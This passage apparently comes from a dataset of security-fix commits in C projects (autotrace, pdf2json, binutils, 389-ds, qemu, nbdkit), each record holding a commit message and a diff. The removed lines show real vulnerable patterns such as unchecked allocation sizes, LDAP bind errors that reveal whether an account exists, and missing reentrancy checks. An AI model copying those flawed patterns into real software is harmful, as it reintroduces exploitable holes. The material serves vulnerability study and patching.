false}, {"section": "@@ -185,9 +185,9 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n int pointcount = 0, is_spline = 0, j;\n int maxlength = SPLINE_LIST_LENGTH(list) * 5 + 1;\n \n- XMALLOC(pointx, maxlength * sizeof(int));\n- XMALLOC(pointy, maxlength * sizeof(int));\n- XMALLOC(contrl, maxlength * sizeof(gfloat));\n+ pointx = g_malloc(maxlength * sizeof(int));\n+ pointy = g_malloc(maxlength * sizeof(int));\n+ contrl = g_malloc(maxlength * sizeof(gfloat));\n \n if (list.clockwise) {\n fig_colour = FIG_WHITE;\n", "related": false}, {"section": "@@ -339,11 +339,11 @@ static void out_fig_splines(FILE * file, spline_list_array_type shape, int llx,\n if (fig_depth < 0) {\n fig_depth = 0;\n }\n- free(pointx);\n- free(pointy);\n- free(contrl);\n+ g_free(pointx);\n+ g_free(pointy);\n+ g_free(contrl);\n }\n- free(spline_colours);\n+ g_free(spline_colours);\n return;\n }\n ", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/xstd.h", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -1,85 +0,0 @@\n-/* xstd.h: Wrappers for functions in C standard library\n- Was: xmem, xfile */\n-\n-/* These call the corresponding function in the standard library, and\n- abort if those routines fail. */\n-\n-#ifndef XSTD_H\n-#define XSTD_H\n-\n-#include \"types.h\"\n-#include \n-#include \n-\n-/*\n- * XMEM\n- */\n-#ifndef __cplusplus\n-#define XMALLOC(new_mem, size)\t\t\t\\\n-do\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\\\n- assert(size); \\\n- new_mem = (gpointer) malloc (size);\t\\\n- assert(new_mem);\t\t\t\t\\\n- } while (0)\n-\n-#define XCALLOC(new_mem, size)\t\t\t\\\n-do\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\\\n- assert(size); \\\n- new_mem = (gpointer) calloc (size, 1);\t\\\n- assert(new_mem);\t\t\t\t\\\n- } while (0)\n-\n-#define XREALLOC(old_ptr, size)\t\t\t\t\\\n-do\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\\\n- gpointer new_mem;\t\t\t\t\t\\\n-\t\t\t\t\t\t\t\\\n- if (old_ptr == NULL)\t\t\t\t\\\n- XMALLOC (new_mem, size);\t\t\t\t\\\n- else\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\\\n- new_mem = (gpointer) realloc (old_ptr, size);\t\\\n- assert(new_mem);\t\t\t\t\\\n- }\t\t\t\t\t\t\t\\\n-\t\t\t\t\t\t\t\\\n- old_ptr = new_mem;\t\t\t\t\t\\\n-} while (0)\n-\n-#else\n-/* Use templates if Cplusplus... */\n-#define XMALLOC(new_mem, size)\t\t\t\t\t\\\n-do\t\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\t\\\n- assert(size); \\\n- (gpointer&)(new_mem) = (gpointer) malloc (size);\t\\\n- assert(new_mem);\t\t\t\t\t\t\\\n- } while (0)\n-\n-#define XCALLOC(new_mem, sizex)\t\t\t\t\t\\\n-do\t\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\t\\\n- assert(sizex); \\\n- (gpointer&)(new_mem) = (void *) calloc (sizex, 1);\t\\\n- assert(new_mem);\t\t\t\t\t\t\\\n- } while (0)\n-\n-#define XREALLOC(old_ptr, size)\t\t\t\t\t\t \\\n-do\t\t\t\t\t\t\t\t\t \\\n- {\t\t\t\t\t\t\t\t\t \\\n- gpointer new_mem;\t\t\t\t\t\t\t \\\n-\t\t\t\t\t\t\t\t\t \\\n- if (old_ptr == NULL)\t\t\t\t\t\t \\\n- XMALLOC (new_mem, (size));\t\t\t\t\t \\\n- else\t\t\t\t\t\t\t\t \\\n- {\t\t\t\t\t\t\t\t\t \\\n- (gpointer&) new_mem = (gpointer) realloc ((old_ptr), (size)); \\\n- assert(new_mem);\t\t\t\t\t\t \\\n- }\t\t\t\t\t\t\t\t\t \\\n-\t\t\t\t\t\t\t\t\t \\\n- (gpointer&)old_ptr = new_mem;\t\t\t\t\t \\\n- } while (0)\n-#endif\n-\n-#endif /* Not XSTD_H */", "sections": [{"section": "@@ -1,85 +0,0 @@\n-/* xstd.h: Wrappers for functions in C standard library\n- Was: xmem, xfile */\n-\n-/* These call the corresponding function in the standard library, and\n- abort if those routines fail. */\n-\n-#ifndef XSTD_H\n-#define XSTD_H\n-\n-#include \"types.h\"\n-#include \n-#include \n-\n-/*\n- * XMEM\n- */\n-#ifndef __cplusplus\n-#define XMALLOC(new_mem, size)\t\t\t\\\n-do\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\\\n- assert(size); \\\n- new_mem = (gpointer) malloc (size);\t\\\n- assert(new_mem);\t\t\t\t\\\n- } while (0)\n-\n-#define XCALLOC(new_mem, size)\t\t\t\\\n-do\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\\\n- assert(size); \\\n- new_mem = (gpointer) calloc (size, 1);\t\\\n- assert(new_mem);\t\t\t\t\\\n- } while (0)\n-\n-#define XREALLOC(old_ptr, size)\t\t\t\t\\\n-do\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\\\n- gpointer new_mem;\t\t\t\t\t\\\n-\t\t\t\t\t\t\t\\\n- if (old_ptr == NULL)\t\t\t\t\\\n- XMALLOC (new_mem, size);\t\t\t\t\\\n- else\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\\\n- new_mem = (gpointer) realloc (old_ptr, size);\t\\\n- assert(new_mem);\t\t\t\t\\\n- }\t\t\t\t\t\t\t\\\n-\t\t\t\t\t\t\t\\\n- old_ptr = new_mem;\t\t\t\t\t\\\n-} while (0)\n-\n-#else\n-/* Use templates if Cplusplus... */\n-#define XMALLOC(new_mem, size)\t\t\t\t\t\\\n-do\t\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\t\\\n- assert(size); \\\n- (gpointer&)(new_mem) = (gpointer) malloc (size);\t\\\n- assert(new_mem);\t\t\t\t\t\t\\\n- } while (0)\n-\n-#define XCALLOC(new_mem, sizex)\t\t\t\t\t\\\n-do\t\t\t\t\t\t\t\t\\\n- {\t\t\t\t\t\t\t\t\\\n- assert(sizex); \\\n- (gpointer&)(new_mem) = (void *) calloc (sizex, 1);\t\\\n- assert(new_mem);\t\t\t\t\t\t\\\n- } while (0)\n-\n-#define XREALLOC(old_ptr, size)\t\t\t\t\t\t \\\n-do\t\t\t\t\t\t\t\t\t \\\n- {\t\t\t\t\t\t\t\t\t \\\n- gpointer new_mem;\t\t\t\t\t\t\t \\\n-\t\t\t\t\t\t\t\t\t \\\n- if (old_ptr == NULL)\t\t\t\t\t\t \\\n- XMALLOC (new_mem, (size));\t\t\t\t\t \\\n- else\t\t\t\t\t\t\t\t \\\n- {\t\t\t\t\t\t\t\t\t \\\n- (gpointer&) new_mem = (gpointer) realloc ((old_ptr), (size)); \\\n- assert(new_mem);\t\t\t\t\t\t \\\n- }\t\t\t\t\t\t\t\t\t \\\n-\t\t\t\t\t\t\t\t\t \\\n- (gpointer&)old_ptr = new_mem;\t\t\t\t\t \\\n- } while (0)\n-#endif\n-\n-#endif /* Not XSTD_H */", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/input-gf.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -30,6 +30,7 @@\n #include \"input-gf.h\"\n #include \"output-ugs.h\"\n #include \"bitmap.h\"\n+#include \n \n #define WHITE\t\t0\n \n@@ -267,7 +268,7 @@ static void get_character_bitmap(gf_char_t * sym)\n \n sym->height = height;\n sym->width = width;\n- sym->bitmap = calloc(width, height);\n+ sym->bitmap = g_malloc0((gsize)width * height);\n if (!sym->bitmap) {\n fprintf(stderr, \"%s: out of memory\\n\", sym->font->input_filename);\n exit(-1);\n@@ -445,7 +446,7 @@ static void deblank(gf_char_t * sym)\n } else {\n condensed.width = sym->width - white_on_left - white_on_right;\n condensed.height = sym->height - white_on_top - white_on_bottom;\n- condensed.bitmap = calloc(condensed.width, condensed.height);\n+ condensed.bitmap = g_malloc0((gsize)condensed.width * condensed.height);\n if (!condensed.bitmap) {\n fprintf(stderr, \"%s: out of memory\\n\", sym->font->input_filename);\n exit(-1);\n@@ -459,7 +460,7 @@ static void deblank(gf_char_t * sym)\n sym->bbox_min_col += white_on_left;\n sym->bbox_max_col -= white_on_right;\n }\n- free(sym->bitmap);\n+ g_free(sym->bitmap);\n sym->bitmap = condensed.bitmap;\n }\n }\n@@ -679,7 +680,7 @@ at_bitmap input_gf_reader(gchar * filename, at_input_opts_type * opts, at_msg_fu\n AT_BITMAP_BITS(&bitmap)[ptr++] = PIXEL(sym, j, i);\n }\n }\n- free(sym->bitmap);\n+ g_free(sym->bitmap);\n fclose(font->input_file);\n return bitmap;\n }", "sections": [{"section": "@@ -30,6 +30,7 @@\n #include \"input-gf.h\"\n #include \"output-ugs.h\"\n #include \"bitmap.h\"\n+#include \n \n #define WHITE\t\t0\n \n", "related": false}, {"section": "@@ -267,7 +268,7 @@ static void get_character_bitmap(gf_char_t * sym)\n \n sym->height = height;\n sym->width = width;\n- sym->bitmap = calloc(width, height);\n+ sym->bitmap = g_malloc0((gsize)width * height);\n if (!sym->bitmap) {\n fprintf(stderr, \"%s: out of memory\\n\", sym->font->input_filename);\n exit(-1);\n", "related": false}, {"section": "@@ -445,7 +446,7 @@ static void deblank(gf_char_t * sym)\n } else {\n condensed.width = sym->width - white_on_left - white_on_right;\n condensed.height = sym->height - white_on_top - white_on_bottom;\n- condensed.bitmap = calloc(condensed.width, condensed.height);\n+ condensed.bitmap = g_malloc0((gsize)condensed.width * condensed.height);\n if (!condensed.bitmap) {\n fprintf(stderr, \"%s: out of memory\\n\", sym->font->input_filename);\n exit(-1);\n", "related": false}, {"section": "@@ -459,7 +460,7 @@ static void deblank(gf_char_t * sym)\n sym->bbox_min_col += white_on_left;\n sym->bbox_max_col -= white_on_right;\n }\n- free(sym->bitmap);\n+ g_free(sym->bitmap);\n sym->bitmap = condensed.bitmap;\n }\n }\n", "related": false}, {"section": "@@ -679,7 +680,7 @@ at_bitmap input_gf_reader(gchar * filename, at_input_opts_type * opts, at_msg_fu\n AT_BITMAP_BITS(&bitmap)[ptr++] = PIXEL(sym, j, i);\n }\n }\n- free(sym->bitmap);\n+ g_free(sym->bitmap);\n fclose(font->input_file);\n return bitmap;\n }", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/output-dxf.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -27,7 +27,7 @@\n #include \"spline.h\"\n #include \"color.h\"\n #include \"output-dxf.h\"\n-#include \"xstd.h\"\n+#include \n #include \"autotrace.h\"\n #include \n #include \n@@ -387,7 +387,7 @@ void xypnt_add_pnt(xypnt_head_rec * head_xypnt /* */ ,\n \n if (!head_xypnt)\n return;\n- temp_point = (struct xypnt_point_t *)calloc(1, sizeof(struct xypnt_point_t));\n+ temp_point = g_malloc0(sizeof(struct xypnt_point_t));\n temp_point->point = coord_point;\n temp_point->next_point = NULL;\n if (head_xypnt->first_point == NULL)\n@@ -410,7 +410,7 @@ void xypnt_dispose_list(xypnt_head_rec ** head_xypnt /* */ )\n while (p) {\n old = p;\n p = p->next_point;\n- free(old);\n+ g_free(old);\n }\n }\n }\n@@ -518,11 +518,11 @@ int bspline_to_lines(xypnt_head_rec * vtx_list /* */ ,\n xypnt curr_pnt, spline_pnt;\n char end_of_list;\n \n- *new_vtx_list = (struct xypnt_head_t *)calloc(1, sizeof(struct xypnt_head_t));\n+ *new_vtx_list = g_malloc0(sizeof(struct xypnt_head_t));\n if (vtx_list) {\n n = vtx_count + spline_order + 1;\n m = spline_order + 1;\n- XMALLOC(weight, n * m * sizeof(double));\n+ weight = g_malloc((gsize)n * m * sizeof(double));\n \n for (i = 0; i < vtx_count + spline_order; i++)\n knot[i] = (i < spline_order) ? 0 : (i > vtx_count) ? knot[i - 1] : knot[i - 1] + 1;\n@@ -564,7 +564,7 @@ int bspline_to_lines(xypnt_head_rec * vtx_list /* */ ,\n xypnt_last_pnt(vtx_list, &spline_pnt, &end_of_list);\n xypnt_add_pnt(*new_vtx_list, spline_pnt);\n \n- free(weight);\n+ g_free(weight);\n }\n \n return (0);\n@@ -636,7 +636,7 @@ static void out_splines(FILE * dxf_file, spline_list_array_type shape)\n pnt_old.xp = lround(startx * RESOLUTION);\n pnt_old.yp = lround(starty * RESOLUTION);\n } else {\n- vec = (struct xypnt_head_t *)calloc(1, sizeof(struct xypnt_head_t));\n+ vec = g_malloc0(sizeof(struct xypnt_head_t));\n \n pnt.xp = lround(startx * RESOLUTION);\n pnt.yp = lround(starty * RESOLUTION);\n@@ -682,8 +682,8 @@ static void out_splines(FILE * dxf_file, spline_list_array_type shape)\n startx = END_POINT(s).x;\n starty = END_POINT(s).y;\n \n- free(res);\n- free(vec);\n+ g_free(res);\n+ g_free(vec);\n }\n }\n first_seg = 0;", "sections": [{"section": "@@ -27,7 +27,7 @@\n #include \"spline.h\"\n #include \"color.h\"\n #include \"output-dxf.h\"\n-#include \"xstd.h\"\n+#include \n #include \"autotrace.h\"\n #include \n #include \n", "related": false}, {"section": "@@ -387,7 +387,7 @@ void xypnt_add_pnt(xypnt_head_rec * head_xypnt /* */ ,\n \n if (!head_xypnt)\n return;\n- temp_point = (struct xypnt_point_t *)calloc(1, sizeof(struct xypnt_point_t));\n+ temp_point = g_malloc0(sizeof(struct xypnt_point_t));\n temp_point->point = coord_point;\n temp_point->next_point = NULL;\n if (head_xypnt->first_point == NULL)\n", "related": false}, {"section": "@@ -410,7 +410,7 @@ void xypnt_dispose_list(xypnt_head_rec ** head_xypnt /* */ )\n while (p) {\n old = p;\n p = p->next_point;\n- free(old);\n+ g_free(old);\n }\n }\n }\n", "related": false}, {"section": "@@ -518,11 +518,11 @@ int bspline_to_lines(xypnt_head_rec * vtx_list /* */ ,\n xypnt curr_pnt, spline_pnt;\n char end_of_list;\n \n- *new_vtx_list = (struct xypnt_head_t *)calloc(1, sizeof(struct xypnt_head_t));\n+ *new_vtx_list = g_malloc0(sizeof(struct xypnt_head_t));\n if (vtx_list) {\n n = vtx_count + spline_order + 1;\n m = spline_order + 1;\n- XMALLOC(weight, n * m * sizeof(double));\n+ weight = g_malloc((gsize)n * m * sizeof(double));\n \n for (i = 0; i < vtx_count + spline_order; i++)\n knot[i] = (i < spline_order) ? 0 : (i > vtx_count) ? knot[i - 1] : knot[i - 1] + 1;\n", "related": false}, {"section": "@@ -564,7 +564,7 @@ int bspline_to_lines(xypnt_head_rec * vtx_list /* */ ,\n xypnt_last_pnt(vtx_list, &spline_pnt, &end_of_list);\n xypnt_add_pnt(*new_vtx_list, spline_pnt);\n \n- free(weight);\n+ g_free(weight);\n }\n \n return (0);\n", "related": false}, {"section": "@@ -636,7 +636,7 @@ static void out_splines(FILE * dxf_file, spline_list_array_type shape)\n pnt_old.xp = lround(startx * RESOLUTION);\n pnt_old.yp = lround(starty * RESOLUTION);\n } else {\n- vec = (struct xypnt_head_t *)calloc(1, sizeof(struct xypnt_head_t));\n+ vec = g_malloc0(sizeof(struct xypnt_head_t));\n \n pnt.xp = lround(startx * RESOLUTION);\n pnt.yp = lround(starty * RESOLUTION);\n", "related": false}, {"section": "@@ -682,8 +682,8 @@ static void out_splines(FILE * dxf_file, spline_list_array_type shape)\n startx = END_POINT(s).x;\n starty = END_POINT(s).y;\n \n- free(res);\n- free(vec);\n+ g_free(res);\n+ g_free(vec);\n }\n }\n first_seg = 0;", "related": false}]} +{"owner": "autotrace", "repo": "autotrace", "language": "C", "file_name": "src/output-pstoedit.c", "commit_id": "2d552f0eeb0b65fa25d2bbaa0bc9288674396532", "commit_message": "Merge pull request #110 from lemenkov/HKUST-CVEs\n\nHKUST CVEs", "patch": "@@ -25,7 +25,6 @@\n #include \"output-pstoedit.h\"\n #include \"output-p2e.h\"\n #include \"filename.h\"\n-#include \"xstd.h\"\n \n #include \n #include ", "sections": [{"section": "@@ -25,7 +25,6 @@\n #include \"output-pstoedit.h\"\n #include \"output-p2e.h\"\n #include \"filename.h\"\n-#include \"xstd.h\"\n \n #include \n #include ", "related": false}]} +{"owner": "flexpaper", "repo": "pdf2json", "language": "C", "file_name": "xpdf/GooLikely.h", "commit_id": "80bf71f16c804108fd933e267fe31692aaa509b4", "commit_message": "Fix for heap vulnerability", "patch": "@@ -0,0 +1,22 @@\n+//========================================================================\n+//\n+// GooLikely.h\n+//\n+// This file is licensed under the GPLv2 or later\n+//\n+// Copyright (C) 2008 Kees Cook \n+//\n+//========================================================================\n+\n+#ifndef GOOLIKELY_H\n+#define GOOLIKELY_H\n+\n+#if defined(__GNUC__) && (__GNUC__ > 2) && defined(__OPTIMIZE__)\n+# define likely(x) __builtin_expect((x), 1)\n+# define unlikely(x) __builtin_expect((x), 0)\n+#else\n+# define likely(x) (x)\n+# define unlikely(x) (x)\n+#endif\n+\n+#endif", "sections": [{"section": "@@ -0,0 +1,22 @@\n+//========================================================================\n+//\n+// GooLikely.h\n+//\n+// This file is licensed under the GPLv2 or later\n+//\n+// Copyright (C) 2008 Kees Cook \n+//\n+//========================================================================\n+\n+#ifndef GOOLIKELY_H\n+#define GOOLIKELY_H\n+\n+#if defined(__GNUC__) && (__GNUC__ > 2) && defined(__OPTIMIZE__)\n+# define likely(x) __builtin_expect((x), 1)\n+# define unlikely(x) __builtin_expect((x), 0)\n+#else\n+# define likely(x) (x)\n+# define unlikely(x) (x)\n+#endif\n+\n+#endif", "related": false}]} +{"owner": "bminor", "repo": "binutils-gdb", "language": "C", "file_name": "bfd/opncls.c", "commit_id": "365f5fb6d0f0da83817431a275e99e6f6babbe04", "commit_message": "binutils: Use file descriptors from make_tempname\n\nThe purpose of creating a temporary file securely using mkstemp is\ndefeated if it is closed in make_tempname and reopened later for use;\nit is as good as using mktemp. Get the file descriptor instead and\nthen use it to create the BFD object.\n\nbfd/\n\n\t* opncls.c (bfd_fdopenw): New function.\n\t* bfd-in2.h: Regenerate.\n\nbinutils/\n\n\t* bucomm.c (make_tempname): Add argument to return file\n\tdescriptor.\n\t* bucomm.h (make_tempname): Likewise.\n\t* ar.c: Include libbfd.h.\n\t(write_archive): Adjust for change in make_tempname. Call\n\tbfd_fdopenw instead of bfd_openw.\n\t* objcopy.c: Include libbfd.h.\n\t(copy_file): New argument OFD. Use bfd_fdopenw instead of\n\tbfd_openw.\n\t(strip_main): Adjust for change in make_tempname and\n\tcopy_file.\n\t(copy_main): Likewise.", "patch": "@@ -393,6 +393,39 @@ bfd_fdopenr (const char *filename, const char *target, int fd)\n return bfd_fopen (filename, target, mode, fd);\n }\n \n+/*\n+FUNCTION\n+\tbfd_fdopenw\n+\n+SYNOPSIS\n+\tbfd *bfd_fdopenw (const char *filename, const char *target, int fd);\n+\n+DESCRIPTION\n+\t<> is exactly like <> with the exception that\n+\tthe resulting BFD is suitable for output.\n+*/\n+\n+bfd *\n+bfd_fdopenw (const char *filename, const char *target, int fd)\n+{\n+ bfd *out = bfd_fdopenr (filename, target, fd);\n+\n+ if (out != NULL)\n+ {\n+ if (!bfd_write_p (out))\n+\t{\n+\t close (fd);\n+\t _bfd_delete_bfd (out);\n+\t out = NULL;\n+\t bfd_set_error (bfd_error_invalid_operation);\n+\t}\n+ else\n+\tout->direction = write_direction;\n+ }\n+\n+ return out;\n+}\n+\n /*\n FUNCTION\n \tbfd_openstreamr", "sections": [{"section": "@@ -393,6 +393,39 @@ bfd_fdopenr (const char *filename, const char *target, int fd)\n return bfd_fopen (filename, target, mode, fd);\n }\n \n+/*\n+FUNCTION\n+\tbfd_fdopenw\n+\n+SYNOPSIS\n+\tbfd *bfd_fdopenw (const char *filename, const char *target, int fd);\n+\n+DESCRIPTION\n+\t<> is exactly like <> with the exception that\n+\tthe resulting BFD is suitable for output.\n+*/\n+\n+bfd *\n+bfd_fdopenw (const char *filename, const char *target, int fd)\n+{\n+ bfd *out = bfd_fdopenr (filename, target, fd);\n+\n+ if (out != NULL)\n+ {\n+ if (!bfd_write_p (out))\n+\t{\n+\t close (fd);\n+\t _bfd_delete_bfd (out);\n+\t out = NULL;\n+\t bfd_set_error (bfd_error_invalid_operation);\n+\t}\n+ else\n+\tout->direction = write_direction;\n+ }\n+\n+ return out;\n+}\n+\n /*\n FUNCTION\n \tbfd_openstreamr", "related": false}]} +{"owner": "389ds", "repo": "389-ds-base", "language": "C", "file_name": "ldap/servers/slapd/dse.c", "commit_id": "b6aae4d8e7c8a6ddd21646f94fef1bf7f22c3f32", "commit_message": "Issue 4609 - CVE - info disclosure when authenticating\n\nDescription: If you bind as a user that does not exist. Error 49 is returned\n instead of error 32. As error 32 discloses that the entry does\n not exist. When you bind as an entry that does not have userpassword\n set then error 48 (inappropriate auth) is returned, but this\n discloses that the entry does indeed exist. Instead we should\n always return error 49, even if the password is not set in the\n entry. This way we do not disclose to an attacker if the Bind\n DN exists or not.\n\nRelates: https://github.com/389ds/389-ds-base/issues/4609\n\nReviewed by: tbordaz(Thanks!)", "patch": "@@ -1446,22 +1446,25 @@ dse_bind(Slapi_PBlock *pb) /* JCM There should only be one exit point from this\n \n ec = dse_get_entry_copy(pdse, sdn, DSE_USE_LOCK);\n if (ec == NULL) {\n- slapi_send_ldap_result(pb, LDAP_NO_SUCH_OBJECT, NULL, NULL, 0, NULL);\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Entry does not exist\");\n+ slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n return (SLAPI_BIND_FAIL);\n }\n \n switch (method) {\n case LDAP_AUTH_SIMPLE: {\n Slapi_Value cv;\n if (slapi_entry_attr_find(ec, \"userpassword\", &attr) != 0) {\n- slapi_send_ldap_result(pb, LDAP_INAPPROPRIATE_AUTH, NULL, NULL, 0, NULL);\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Entry does not have userpassword set\");\n+ slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n slapi_entry_free(ec);\n return SLAPI_BIND_FAIL;\n }\n bvals = attr_get_present_values(attr);\n \n slapi_value_init_berval(&cv, cred);\n if (slapi_pw_find_sv(bvals, &cv) != 0) {\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Invalid credentials\");\n slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n slapi_entry_free(ec);\n value_done(&cv);", "sections": [{"section": "@@ -1446,22 +1446,25 @@ dse_bind(Slapi_PBlock *pb) /* JCM There should only be one exit point from this\n \n ec = dse_get_entry_copy(pdse, sdn, DSE_USE_LOCK);\n if (ec == NULL) {\n- slapi_send_ldap_result(pb, LDAP_NO_SUCH_OBJECT, NULL, NULL, 0, NULL);\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Entry does not exist\");\n+ slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n return (SLAPI_BIND_FAIL);\n }\n \n switch (method) {\n case LDAP_AUTH_SIMPLE: {\n Slapi_Value cv;\n if (slapi_entry_attr_find(ec, \"userpassword\", &attr) != 0) {\n- slapi_send_ldap_result(pb, LDAP_INAPPROPRIATE_AUTH, NULL, NULL, 0, NULL);\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Entry does not have userpassword set\");\n+ slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n slapi_entry_free(ec);\n return SLAPI_BIND_FAIL;\n }\n bvals = attr_get_present_values(attr);\n \n slapi_value_init_berval(&cv, cred);\n if (slapi_pw_find_sv(bvals, &cv) != 0) {\n+ slapi_pblock_set(pb, SLAPI_PB_RESULT_TEXT, \"Invalid credentials\");\n slapi_send_ldap_result(pb, LDAP_INVALID_CREDENTIALS, NULL, NULL, 0, NULL);\n slapi_entry_free(ec);\n value_done(&cv);", "related": false}]} +{"owner": "qemu", "repo": "qemu", "language": "C", "file_name": "hw/net/sungem.c", "commit_id": "8c92060d3c0248bd4d515719a35922cd2391b9b4", "commit_message": "sungem: switch to use qemu_receive_packet() for loopback\n\nThis patch switches to use qemu_receive_packet() which can detect\nreentrancy and return early.\n\nThis is intended to address CVE-2021-3416.\n\nCc: Prasad J Pandit \nCc: qemu-stable@nongnu.org\nReviewed-by: Mark Cave-Ayland \nReviewed-by: Philippe Mathieu-Daudé \nReviewed-by: Alistair Francis \nSigned-off-by: Jason Wang ", "patch": "@@ -306,7 +306,7 @@ static void sungem_send_packet(SunGEMState *s, const uint8_t *buf,\n NetClientState *nc = qemu_get_queue(s->nic);\n \n if (s->macregs[MAC_XIFCFG >> 2] & MAC_XIFCFG_LBCK) {\n- nc->info->receive(nc, buf, size);\n+ qemu_receive_packet(nc, buf, size);\n } else {\n qemu_send_packet(nc, buf, size);\n }", "sections": [{"section": "@@ -306,7 +306,7 @@ static void sungem_send_packet(SunGEMState *s, const uint8_t *buf,\n NetClientState *nc = qemu_get_queue(s->nic);\n \n if (s->macregs[MAC_XIFCFG >> 2] & MAC_XIFCFG_LBCK) {\n- nc->info->receive(nc, buf, size);\n+ qemu_receive_packet(nc, buf, size);\n } else {\n qemu_send_packet(nc, buf, size);\n }", "related": false}]} +{"owner": "qemu", "repo": "qemu", "language": "C", "file_name": "net/queue.c", "commit_id": "705df5466c98f3efdd2b68d3b31dad86858acad7", "commit_message": "net: introduce qemu_receive_packet()\n\nSome NIC supports loopback mode and this is done by calling\nnc->info->receive() directly which in fact suppresses the effort of\nreentrancy check that is done in qemu_net_queue_send().\n\nUnfortunately we can't use qemu_net_queue_send() here since for\nloopback there's no sender as peer, so this patch introduce a\nqemu_receive_packet() which is used for implementing loopback mode\nfor a NIC with this check.\n\nNIC that supports loopback mode will be converted to this helper.\n\nThis is intended to address CVE-2021-3416.\n\nCc: Prasad J Pandit \nReviewed-by: Philippe Mathieu-Daudé \nCc: qemu-stable@nongnu.org\nSigned-off-by: Jason Wang ", "patch": "@@ -182,6 +182,28 @@ static ssize_t qemu_net_queue_deliver_iov(NetQueue *queue,\n return ret;\n }\n \n+ssize_t qemu_net_queue_receive(NetQueue *queue,\n+ const uint8_t *data,\n+ size_t size)\n+{\n+ if (queue->delivering) {\n+ return 0;\n+ }\n+\n+ return qemu_net_queue_deliver(queue, NULL, 0, data, size);\n+}\n+\n+ssize_t qemu_net_queue_receive_iov(NetQueue *queue,\n+ const struct iovec *iov,\n+ int iovcnt)\n+{\n+ if (queue->delivering) {\n+ return 0;\n+ }\n+\n+ return qemu_net_queue_deliver_iov(queue, NULL, 0, iov, iovcnt);\n+}\n+\n ssize_t qemu_net_queue_send(NetQueue *queue,\n NetClientState *sender,\n unsigned flags,", "sections": [{"section": "@@ -182,6 +182,28 @@ static ssize_t qemu_net_queue_deliver_iov(NetQueue *queue,\n return ret;\n }\n \n+ssize_t qemu_net_queue_receive(NetQueue *queue,\n+ const uint8_t *data,\n+ size_t size)\n+{\n+ if (queue->delivering) {\n+ return 0;\n+ }\n+\n+ return qemu_net_queue_deliver(queue, NULL, 0, data, size);\n+}\n+\n+ssize_t qemu_net_queue_receive_iov(NetQueue *queue,\n+ const struct iovec *iov,\n+ int iovcnt)\n+{\n+ if (queue->delivering) {\n+ return 0;\n+ }\n+\n+ return qemu_net_queue_deliver_iov(queue, NULL, 0, iov, iovcnt);\n+}\n+\n ssize_t qemu_net_queue_send(NetQueue *queue,\n NetClientState *sender,\n unsigned flags,", "related": false}]} +{"owner": "libguestfs", "repo": "nbdkit", "language": "C", "file_name": "server/internal.h", "commit_id": "c05686f9577fa91b6a3a4d8c065954ca6fc3fd62", "commit_message": "server: Wait until handshake complete before calling .open callback\n\nCurrently we call the plugin .open callback as soon as we receive a\nTCP connection:\n\n $ nbdkit -fv --tls=require --tls-certificates=tests/pki null \\\n --run \"telnet localhost 10809\"\n [...]\n Trying ::1...\n Connected to localhost.\n Escape character is '^]'.\n nbdkit: debug: accepted connection\n nbdkit: debug: null: open readonly=0 ◀ NOTE\n nbdkit: null[1]: debug: newstyle negotiation: flags: global 0x3\n NBDMAGICIHAVEOPT\n\nIn plugins such as curl, guestfs, ssh, vddk and others we do a\nconsiderable amount of work in the .open callback (such as making a\nremote connection or launching an appliance). Therefore we are\nproviding an easy Denial of Service / Amplification Attack for\nunauthorized clients to cause a lot of work to be done for only the\ncost of a simple TCP 3 way handshake.\n\nThis commit moves the call to the .open callback after the NBD\nhandshake has mostly completed. In particular TLS authentication must\nbe complete before we will call into the plugin.\n\nIt is unlikely that there are plugins which really depend on the\ncurrent behaviour of .open (which I found surprising even though I\nguess I must have written it). If there are then we could add a new\n.connect callback or similar to allow plugins to get control at the\nearlier point in the connection.\n\nAfter this change you can see that the .open callback is not called\nfrom just a simple TCP connection:\n\n $ ./nbdkit -fv --tls=require --tls-certificates=tests/pki null \\\n --run \"telnet localhost 10809\"\n [...]\n Trying ::1...\n Connected to localhost.\n Escape character is '^]'.\n nbdkit: debug: accepted connection\n nbdkit: null[1]: debug: newstyle negotiation: flags: global 0x3\n NBDMAGICIHAVEOPT\n xx\n nbdkit: null[1]: debug: newstyle negotiation: client flags: 0xd0a7878\n nbdkit: null[1]: error: client requested unknown flags 0xd0a7878\n Connection closed by foreign host.\n nbdkit: debug: 